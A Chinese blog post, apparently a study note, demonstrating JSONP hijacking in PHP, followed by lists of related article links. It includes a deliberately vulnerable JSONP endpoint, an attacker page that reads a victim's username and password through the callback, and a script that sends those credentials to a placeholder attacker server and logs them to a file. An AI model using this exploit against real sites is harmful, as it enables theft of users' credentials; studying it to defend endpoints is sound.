Jsonp劫持学习


Posted in PHP onApril 01, 2021

实验

劫持原理网上这张图很形象

Jsonp劫持学习

首先我们准备一个jsonp.php,简单的写了一个

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
if(isset($_REQUEST['jsoncallback'])){
    if($_REQUEST['jsoncallback']=="callbackFunction"){
        $json_data='({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"})';
        
    }else {
        $json_data='({"info":"error"})';
    }
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
}
?>

此时我们访问http://xxxxxx/jsonp.php?jsoncallback=callbackFunction

会得到返回信息

callbackFunction(({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"}))

我们此时再准备一个hack.html页面,内容为

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Test</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
        {
            alert("username:"+result.name+" password:"+result.password);
        }
</script>
<script type="text/javascript" src="http://xxxxx/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

如果受害者访问这个页面就会有个xss弹窗,弹出关键信息,

当然我们还可以更进一步的利用,讲内容保存到本地服务器,bc.php

<?php
$username=$_GET['username'];
$password=$_GET['password'];
$data="用户名:".$username."密码:".$password.PHP_EOL;
file_put_contents("pwd.txt",$data);
?>

再修改上面的callbackFuction,发起一个ajax请求即可,可以用layui这些封装好的,也可以原生内容

function callbackFunction(result)
        {
            var username=result.name;
            var password=result.password;
            const requests=new XMLHttpRequest();
            const url="http://xxxxxx/bc.php?username="+username+"&password="+password;
            requests.open("GET",url);
            requests.send();
        }

学习完毕

PHP 相关文章推荐
PHP.MVC的模板标签系统(二)
Sep 05 PHP
PHP的ASP防火墙
Oct 09 PHP
使用 MySQL 开始 PHP 会话
Dec 21 PHP
在PHP里得到前天和昨天的日期的代码
Aug 16 PHP
PHP 写文本日志实现代码
May 18 PHP
PHP三元运算符的结合性介绍
Jan 10 PHP
php获得url参数中具有&amp;的值的方法
Mar 05 PHP
ThinkPHP3.1新特性之对Ajax的支持更加完善
Jun 19 PHP
PHP高级编程实例:编写守护进程
Sep 02 PHP
PHP实现PDO的mysql数据库操作类
Dec 12 PHP
PHP实现批量修改文件名的方法示例
Sep 18 PHP
Laravel 框架返回状态拦截代码
Oct 18 PHP
利用ajax+php实现商品价格计算
php微信小程序解包过程实例详解
Mar 31 #PHP
ThinkPHP5和ThinkPHP6的区别
Mar 31 #PHP
PHP基本语法
PHP中->和=>的意思
Mar 31 #PHP
Mac M1安装mnmp (Mac+Nginx+MySQL+PHP) 开发环境
Laravel中Kafka的使用详解
Mar 24 #PHP
You might like
PHP面向对象学习笔记之二 生成对象的设计模式
2012/10/06 PHP
php过滤敏感词的示例
2014/03/31 PHP
9个比较实用的php代码片段
2016/03/15 PHP
php实现的顺序线性表示例
2019/05/04 PHP
PHP保留两位小数的几种方法
2019/07/24 PHP
动态样式类封装JS代码
2009/09/02 Javascript
JS小功能(setInterval实现图片效果显示时间)实例代码
2013/11/28 Javascript
javascript时间函数大全
2014/06/30 Javascript
jquery操作复选框checkbox的方法汇总
2015/02/05 Javascript
JS控制TreeView的结点选择
2016/11/11 Javascript
使用node.js实现微信小程序实时聊天功能
2018/08/13 Javascript
Vue 构造选项 - 进阶使用说明
2020/08/14 Javascript
[01:07:13]TNC vs Pain 2018国际邀请赛小组赛BO2 第一场 8.17
2018/08/20 DOTA
[06:07]DOTA2-DPC中国联赛3月5日Recap集锦
2021/03/11 DOTA
Python环境下安装使用异步任务队列包Celery的基础教程
2016/05/07 Python
Django视图和URL配置详解
2018/01/31 Python
使用apidocJs快速生成在线文档的实例讲解
2018/02/07 Python
Python面向对象之类和对象实例详解
2018/12/10 Python
浅谈Python 多进程默认不能共享全局变量的问题
2019/01/11 Python
使用django的objects.filter()方法匹配多个关键字的方法
2019/07/18 Python
Python如何使用turtle库绘制图形
2020/02/26 Python
css3给背景图片加颜色遮罩的方法
2019/11/05 HTML / CSS
HTML5中的postMessage API基本使用教程
2016/05/20 HTML / CSS
Otel.com:折扣酒店预订
2017/08/24 全球购物
Otticanet意大利:最顶尖的世界名牌眼镜, 能得到打折季的价格
2019/03/10 全球购物
几个数据库方面的面试题
2016/07/01 面试题
教师实习自我鉴定
2013/12/13 职场文书
简单的辞职信范文
2014/01/18 职场文书
旅游活动总结
2014/08/27 职场文书
行风评议整改报告
2014/11/06 职场文书
2014年幼儿园学期工作总结
2014/12/05 职场文书
公司股份转让协议书范本
2015/01/28 职场文书
2015年度村委会工作总结
2015/04/29 职场文书
个人收入证明格式
2015/06/24 职场文书
2016年区委书记抓基层党建工作公开承诺书
2016/03/25 职场文书
Apache Pulsar结合Hudi构建Lakehouse方案分析
2022/03/31 Servers